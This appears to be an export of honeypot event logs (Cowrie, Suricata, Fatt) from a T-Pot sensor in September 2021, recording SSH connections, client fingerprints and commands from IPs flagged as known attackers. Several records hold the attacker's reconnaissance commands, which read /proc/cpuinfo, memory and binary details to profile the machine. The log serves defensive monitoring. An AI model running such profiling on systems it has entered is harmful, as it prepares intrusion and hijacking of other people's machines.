31329	150.109.115.128	109.199.241.180	Cowrie	2021-09-20 14:44:15.829198+03	2021-09-20 14:45:04.343141+03	{"_id": "ewYFA3wBvYTbRNuEYUOg", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"arch": "linux-mips-lsb", "host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "tags": ["_geoip_lookup_failure"], "type": "Cowrie", "geoip": {"ip": "150.109.115.128", "latitude": 22.25, "location": {"lat": 22.25, "lon": 114.1667}, "timezone": "Asia/Hong_Kong", "longitude": 114.1667, "country_name": "Hong Kong", "country_code2": "HK", "country_code3": "HK", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "150.109.115.128", "eventid": "cowrie.session.params", "message": [], "session": "d8a32464a4ea", "@version": "1", "timestamp": "2021-09-20T11:44:15.829198Z", "@timestamp": "2021-09-20T11:44:15.829Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.params	\N	known attacker	\N
31330	150.109.115.128	109.199.241.180	Cowrie	2021-09-20 14:44:12.453586+03	2021-09-20 14:45:04.344142+03	{"_id": "YQYFA3wBvYTbRNuEUUP6", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "size": 8, "tags": ["_geoip_lookup_failure"], "type": "Cowrie", "geoip": {"ip": "150.109.115.128", "latitude": 22.25, "location": {"lat": 22.25, "lon": 114.1667}, "timezone": "Asia/Hong_Kong", "longitude": 114.1667, "country_name": "Hong Kong", "country_code2": "HK", "country_code3": "HK", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "shasum": "ea82fe82924bbdcd34f9642d3e79470eefa35f2308a6d85ad9cadf20051f1b2d", "src_ip": "150.109.115.128", "ttylog": "log/tty/ea82fe82924bbdcd34f9642d3e79470eefa35f2308a6d85ad9cadf20051f1b2d", "eventid": "cowrie.log.closed", "message": "Closing TTY Log: log/tty/ea82fe82924bbdcd34f9642d3e79470eefa35f2308a6d85ad9cadf20051f1b2d after 0 seconds", "session": "d8a32464a4ea", "@version": "1", "duration": 0.4206533432006836, "duplicate": true, "timestamp": "2021-09-20T11:44:12.453586Z", "@timestamp": "2021-09-20T11:44:12.453Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.log.closed	\N	known attacker	\N
31331	150.109.115.128	109.199.241.180	Cowrie	2021-09-20 14:44:12.7795+03	2021-09-20 14:45:04.345142+03	{"_id": "YgYFA3wBvYTbRNuEVUPk", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"arch": "linux-mips-lsb", "host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "tags": ["_geoip_lookup_failure"], "type": "Cowrie", "geoip": {"ip": "150.109.115.128", "latitude": 22.25, "location": {"lat": 22.25, "lon": 114.1667}, "timezone": "Asia/Hong_Kong", "longitude": 114.1667, "country_name": "Hong Kong", "country_code2": "HK", "country_code3": "HK", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "150.109.115.128", "eventid": "cowrie.session.params", "message": [], "session": "d8a32464a4ea", "@version": "1", "timestamp": "2021-09-20T11:44:12.779500Z", "@timestamp": "2021-09-20T11:44:12.779Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.params	\N	known attacker	\N
31332	150.109.115.128	109.199.241.180	Cowrie	2021-09-20 14:44:13.211701+03	2021-09-20 14:45:04.347142+03	{"_id": "YwYFA3wBvYTbRNuEVUPl", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "size": 2, "tags": ["_geoip_lookup_failure"], "type": "Cowrie", "geoip": {"ip": "150.109.115.128", "latitude": 22.25, "location": {"lat": 22.25, "lon": 114.1667}, "timezone": "Asia/Hong_Kong", "longitude": 114.1667, "country_name": "Hong Kong", "country_code2": "HK", "country_code3": "HK", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "shasum": "64426356ffcabc3671e5bd0acff75ec85278dc0d4ff5dac8cc07a9dc05a4c420", "src_ip": "150.109.115.128", "ttylog": "log/tty/64426356ffcabc3671e5bd0acff75ec85278dc0d4ff5dac8cc07a9dc05a4c420", "eventid": "cowrie.log.closed", "message": "Closing TTY Log: log/tty/64426356ffcabc3671e5bd0acff75ec85278dc0d4ff5dac8cc07a9dc05a4c420 after 0 seconds", "session": "d8a32464a4ea", "@version": "1", "duration": 0.4322936534881592, "duplicate": true, "timestamp": "2021-09-20T11:44:13.211701Z", "@timestamp": "2021-09-20T11:44:13.211Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.log.closed	\N	known attacker	\N
31333	150.109.115.128	109.199.241.180	Cowrie	2021-09-20 14:44:13.559496+03	2021-09-20 14:45:04.348143+03	{"_id": "ZAYFA3wBvYTbRNuEVUPl", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"arch": "linux-mips-lsb", "host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "tags": ["_geoip_lookup_failure"], "type": "Cowrie", "geoip": {"ip": "150.109.115.128", "latitude": 22.25, "location": {"lat": 22.25, "lon": 114.1667}, "timezone": "Asia/Hong_Kong", "longitude": 114.1667, "country_name": "Hong Kong", "country_code2": "HK", "country_code3": "HK", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "150.109.115.128", "eventid": "cowrie.session.params", "message": [], "session": "d8a32464a4ea", "@version": "1", "timestamp": "2021-09-20T11:44:13.559496Z", "@timestamp": "2021-09-20T11:44:13.559Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.params	\N	known attacker	\N
31336	150.109.115.128	109.199.241.180	Cowrie	2021-09-20 14:44:15.506188+03	2021-09-20 14:45:04.352143+03	{"_id": "cwYFA3wBvYTbRNuEXUO2", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "size": 74, "tags": ["_geoip_lookup_failure"], "type": "Cowrie", "geoip": {"ip": "150.109.115.128", "latitude": 22.25, "location": {"lat": 22.25, "lon": 114.1667}, "timezone": "Asia/Hong_Kong", "longitude": 114.1667, "country_name": "Hong Kong", "country_code2": "HK", "country_code3": "HK", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "shasum": "28ba533b0f3c4df63d6b4a5ead73860697bdf735bb353e4ca928474889eb8a15", "src_ip": "150.109.115.128", "ttylog": "log/tty/28ba533b0f3c4df63d6b4a5ead73860697bdf735bb353e4ca928474889eb8a15", "eventid": "cowrie.log.closed", "message": "Closing TTY Log: log/tty/28ba533b0f3c4df63d6b4a5ead73860697bdf735bb353e4ca928474889eb8a15 after 0 seconds", "session": "d8a32464a4ea", "@version": "1", "duration": 0.42299723625183105, "duplicate": true, "timestamp": "2021-09-20T11:44:15.506188Z", "@timestamp": "2021-09-20T11:44:15.506Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.log.closed	\N	known attacker	\N
31337	117.22.230.94	109.199.241.180	Cowrie	2021-09-20 14:44:15.42438+03	2021-09-20 14:45:04.353144+03	{"_id": "cAYFA3wBvYTbRNuEXUO2", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "117.22.230.94", "asn": 4134, "as_org": "Chinanet", "latitude": 34.2598, "location": {"lat": 34.2598, "lon": 108.9294}, "timezone": "Asia/Shanghai", "city_name": "Xi'an", "longitude": 108.9294, "region_code": "SN", "region_name": "Shaanxi", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "117.22.230.94", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 117.22.230.94:2132 (192.168.176.2:22) [session: a28787deccb5]", "session": "a28787deccb5", "@version": "1", "protocol": "ssh", "src_port": 2132, "dest_port": 22, "timestamp": "2021-09-20T11:44:15.424380Z", "@timestamp": "2021-09-20T11:44:15.424Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	known attacker	\N
31338	150.109.115.128	109.199.241.180	Cowrie	2021-09-20 14:44:14.774178+03	2021-09-20 14:45:04.354144+03	{"_id": "cgYFA3wBvYTbRNuEXUO2", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "size": 6, "tags": ["_geoip_lookup_failure"], "type": "Cowrie", "geoip": {"ip": "150.109.115.128", "latitude": 22.25, "location": {"lat": 22.25, "lon": 114.1667}, "timezone": "Asia/Hong_Kong", "longitude": 114.1667, "country_name": "Hong Kong", "country_code2": "HK", "country_code3": "HK", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "shasum": "5c0be87ed7434d69005f8bbd84cad8ae6abfd49121b4aaeeb4c1f4a2e2987711", "src_ip": "150.109.115.128", "ttylog": "log/tty/5c0be87ed7434d69005f8bbd84cad8ae6abfd49121b4aaeeb4c1f4a2e2987711", "eventid": "cowrie.log.closed", "message": "Closing TTY Log: log/tty/5c0be87ed7434d69005f8bbd84cad8ae6abfd49121b4aaeeb4c1f4a2e2987711 after 0 seconds", "session": "d8a32464a4ea", "@version": "1", "duration": 0.4240906238555908, "duplicate": true, "timestamp": "2021-09-20T11:44:14.774178Z", "@timestamp": "2021-09-20T11:44:14.774Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.log.closed	\N	known attacker	\N
31339	117.22.230.94	109.199.241.180	Cowrie	2021-09-20 14:44:15.427088+03	2021-09-20 14:45:04.356143+03	{"_id": "dAYFA3wBvYTbRNuEXUO2", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "117.22.230.94", "asn": 4134, "as_org": "Chinanet", "latitude": 34.2598, "location": {"lat": 34.2598, "lon": 108.9294}, "timezone": "Asia/Shanghai", "city_name": "Xi'an", "longitude": 108.9294, "region_code": "SN", "region_name": "Shaanxi", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "117.22.230.94", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-libssh_0.9.6'", "session": "a28787deccb5", "version": "b'SSH-2.0-libssh_0.9.6'", "@version": "1", "timestamp": "2021-09-20T11:44:15.427088Z", "@timestamp": "2021-09-20T11:44:15.427Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	known attacker	\N
31340	117.22.230.94	109.199.241.180	Suricata	2021-09-20 14:44:15.694801+03	2021-09-20 14:45:04.358142+03	{"_id": "dwYFA3wBvYTbRNuEX0Np", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "libssh_0.9.6"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "117.22.230.94", "asn": 4134, "as_org": "Chinanet", "latitude": 34.2598, "location": {"lat": 34.2598, "lon": 108.9294}, "timezone": "Asia/Shanghai", "city_name": "Xi'an", "longitude": 108.9294, "region_code": "SN", "region_name": "Shaanxi", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "117.22.230.94", "dest_ip": "192.168.20.116", "flow_id": 1176971162639942, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 2132, "dest_port": 22, "timestamp": "2021-09-20T11:44:15.694801Z", "@timestamp": "2021-09-20T11:44:15.694Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	known attacker	\N
31347	150.109.115.128	109.199.241.180	Cowrie	2021-09-20 14:44:08.147174+03	2021-09-20 14:45:04.367142+03	{"_id": "TgYFA3wBvYTbRNuEQkNZ", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "tags": ["_geoip_lookup_failure"], "type": "Cowrie", "geoip": {"ip": "150.109.115.128", "latitude": 22.25, "location": {"lat": 22.25, "lon": 114.1667}, "timezone": "Asia/Hong_Kong", "longitude": 114.1667, "country_name": "Hong Kong", "country_code2": "HK", "country_code3": "HK", "continent_code": "AS"}, "input": "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "150.109.115.128", "eventid": "cowrie.command.input", "message": "CMD: cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'", "session": "d8a32464a4ea", "@version": "1", "timestamp": "2021-09-20T11:44:08.147174Z", "@timestamp": "2021-09-20T11:44:08.147Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	\N
31341	117.22.230.94	109.199.241.180	Fatt	2021-09-20 14:44:15.695318+03	2021-09-20 14:45:04.359142+03	{"_id": "eQYFA3wBvYTbRNuEYENg", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "117.22.230.94", "asn": 4134, "as_org": "Chinanet", "latitude": 34.2598, "location": {"lat": 34.2598, "lon": 108.9294}, "timezone": "Asia/Shanghai", "city_name": "Xi'an", "longitude": 108.9294, "region_code": "SN", "region_name": "Shaanxi", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "src_ip": "117.22.230.94", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,rsa-sha2-512,rsa-sha2-256,ssh-rsa,ssh-dss", "hassh": "f555226df1963d1d3c09daf865abdc9a", "ccacts": "none", "ccastc": "none", "ceacts": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "ceastc": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "client": "SSH-2.0-libssh_0.9.6", "cmacts": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "cmastc": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}, "protocol": "ssh", "src_port": 2132, "dest_port": 22, "timestamp": "2021-09-20T11:44:15.695318", "@timestamp": "2021-09-20T11:44:15.695Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	known attacker	\N
31342	150.109.115.128	109.199.241.180	Cowrie	2021-09-20 14:44:15.829727+03	2021-09-20 14:45:04.361143+03	{"_id": "egYFA3wBvYTbRNuEYUOg", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "tags": ["_geoip_lookup_failure"], "type": "Cowrie", "geoip": {"ip": "150.109.115.128", "latitude": 22.25, "location": {"lat": 22.25, "lon": 114.1667}, "timezone": "Asia/Hong_Kong", "longitude": 114.1667, "country_name": "Hong Kong", "country_code2": "HK", "country_code3": "HK", "continent_code": "AS"}, "input": "lscpu | grep Model", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "150.109.115.128", "eventid": "cowrie.command.input", "message": "CMD: lscpu | grep Model", "session": "d8a32464a4ea", "@version": "1", "timestamp": "2021-09-20T11:44:15.829727Z", "@timestamp": "2021-09-20T11:44:15.829Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	\N
31343	117.22.230.94	109.199.241.180	Cowrie	2021-09-20 14:44:15.695946+03	2021-09-20 14:45:04.362141+03	{"_id": "fgYFA3wBvYTbRNuEYUOg", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc"], "geoip": {"ip": "117.22.230.94", "asn": 4134, "as_org": "Chinanet", "latitude": 34.2598, "location": {"lat": 34.2598, "lon": 108.9294}, "timezone": "Asia/Shanghai", "city_name": "Xi'an", "longitude": 108.9294, "region_code": "SN", "region_name": "Shaanxi", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "hassh": "f555226df1963d1d3c09daf865abdc9a", "macCS": ["hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1"], "compCS": ["none"], "ip_rep": "known attacker", "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "117.22.230.94", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "ecdh-sha2-nistp256", "ecdh-sha2-nistp384", "ecdh-sha2-nistp521", "diffie-hellman-group18-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group14-sha256", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "rsa-sha2-512", "rsa-sha2-256", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a", "session": "a28787deccb5", "@version": "1", "timestamp": "2021-09-20T11:44:15.695946Z", "@timestamp": "2021-09-20T11:44:15.695Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}}	1	\N	cowrie.client.kex	\N	known attacker	\N
31344	150.109.115.128	109.199.241.180	Cowrie	2021-09-20 14:44:16.589447+03	2021-09-20 14:45:04.364171+03	{"_id": "fwYFA3wBvYTbRNuEYUOg", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "tags": ["_geoip_lookup_failure"], "type": "Cowrie", "geoip": {"ip": "150.109.115.128", "latitude": 22.25, "location": {"lat": 22.25, "lon": 114.1667}, "timezone": "Asia/Hong_Kong", "longitude": 114.1667, "country_name": "Hong Kong", "country_code2": "HK", "country_code3": "HK", "continent_code": "AS"}, "input": "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "150.109.115.128", "eventid": "cowrie.command.input", "message": "CMD: cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'", "session": "d8a32464a4ea", "@version": "1", "timestamp": "2021-09-20T11:44:16.589447Z", "@timestamp": "2021-09-20T11:44:16.589Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	\N
31345	159.89.194.160	109.199.241.180	Cowrie	2021-09-20 14:44:07.372077+03	2021-09-20 14:45:04.365174+03	{"_id": "SAYFA3wBvYTbRNuEPkNx", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "159.89.194.160", "asn": 14061, "as_org": "Digital Ocean, Inc.", "latitude": 1.314, "location": {"lat": 1.314, "lon": 103.6839}, "timezone": "Asia/Singapore", "longitude": 103.6839, "postal_code": "62", "country_name": "Singapore", "country_code2": "SG", "country_code3": "SG", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "159.89.194.160", "eventid": "cowrie.session.closed", "message": "Connection lost after 2 seconds", "session": "edc43aa3aa69", "@version": "1", "duration": 2.2014408111572266, "timestamp": "2021-09-20T11:44:07.372077Z", "@timestamp": "2021-09-20T11:44:07.372Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	known attacker	\N
31346	150.109.115.128	109.199.241.180	Cowrie	2021-09-20 14:44:07.584604+03	2021-09-20 14:45:04.366177+03	{"_id": "SQYFA3wBvYTbRNuEPkNx", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "size": 0, "tags": ["_geoip_lookup_failure"], "type": "Cowrie", "geoip": {"ip": "150.109.115.128", "latitude": 22.25, "location": {"lat": 22.25, "lon": 114.1667}, "timezone": "Asia/Hong_Kong", "longitude": 114.1667, "country_name": "Hong Kong", "country_code2": "HK", "country_code3": "HK", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "shasum": "5da8fcc2ea45121c9c7940f7254b4350021508a03316b0a3037ccc18935c6504", "src_ip": "150.109.115.128", "ttylog": "log/tty/5da8fcc2ea45121c9c7940f7254b4350021508a03316b0a3037ccc18935c6504", "eventid": "cowrie.log.closed", "message": "Closing TTY Log: log/tty/5da8fcc2ea45121c9c7940f7254b4350021508a03316b0a3037ccc18935c6504 after 0 seconds", "session": "d8a32464a4ea", "@version": "1", "duration": 0.21492385864257812, "duplicate": false, "timestamp": "2021-09-20T11:44:07.584604Z", "@timestamp": "2021-09-20T11:44:07.584Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.log.closed	\N	known attacker	\N
31349	150.109.115.128	109.199.241.180	Cowrie	2021-09-20 14:44:08.905342+03	2021-09-20 14:45:04.370175+03	{"_id": "UwYFA3wBvYTbRNuERkNB", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "tags": ["_geoip_lookup_failure"], "type": "Cowrie", "geoip": {"ip": "150.109.115.128", "latitude": 22.25, "location": {"lat": 22.25, "lon": 114.1667}, "timezone": "Asia/Hong_Kong", "longitude": 114.1667, "country_name": "Hong Kong", "country_code2": "HK", "country_code3": "HK", "continent_code": "AS"}, "input": "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "150.109.115.128", "eventid": "cowrie.command.input", "message": "CMD: free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'", "session": "d8a32464a4ea", "@version": "1", "timestamp": "2021-09-20T11:44:08.905342Z", "@timestamp": "2021-09-20T11:44:08.905Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	\N
31350	150.109.115.128	109.199.241.180	Cowrie	2021-09-20 14:44:09.692161+03	2021-09-20 14:45:04.371141+03	{"_id": "VQYFA3wBvYTbRNuESkMq", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "tags": ["_geoip_lookup_failure"], "type": "Cowrie", "geoip": {"ip": "150.109.115.128", "latitude": 22.25, "location": {"lat": 22.25, "lon": 114.1667}, "timezone": "Asia/Hong_Kong", "longitude": 114.1667, "country_name": "Hong Kong", "country_code2": "HK", "country_code3": "HK", "continent_code": "AS"}, "input": "ls -lh $(which ls)", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "150.109.115.128", "eventid": "cowrie.command.input", "message": "CMD: ls -lh $(which ls)", "session": "d8a32464a4ea", "@version": "1", "timestamp": "2021-09-20T11:44:09.692161Z", "@timestamp": "2021-09-20T11:44:09.692Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	\N
31351	150.109.115.128	109.199.241.180	Cowrie	2021-09-20 14:44:07.069198+03	2021-09-20 14:45:04.372173+03	{"_id": "TAYFA3wBvYTbRNuEPkNx", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "size": 2, "tags": ["_geoip_lookup_failure"], "type": "Cowrie", "geoip": {"ip": "150.109.115.128", "latitude": 22.25, "location": {"lat": 22.25, "lon": 114.1667}, "timezone": "Asia/Hong_Kong", "longitude": 114.1667, "country_name": "Hong Kong", "country_code2": "HK", "country_code3": "HK", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "shasum": "3f1f9a5db692d999bb3d576b5e9956a242136e961ff3f52ba6202b1254ccdb99", "src_ip": "150.109.115.128", "ttylog": "log/tty/3f1f9a5db692d999bb3d576b5e9956a242136e961ff3f52ba6202b1254ccdb99", "eventid": "cowrie.log.closed", "message": "Closing TTY Log: log/tty/3f1f9a5db692d999bb3d576b5e9956a242136e961ff3f52ba6202b1254ccdb99 after 0 seconds", "session": "d8a32464a4ea", "@version": "1", "duration": 0.42058587074279785, "duplicate": true, "timestamp": "2021-09-20T11:44:07.069198Z", "@timestamp": "2021-09-20T11:44:07.069Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.log.closed	\N	known attacker	\N
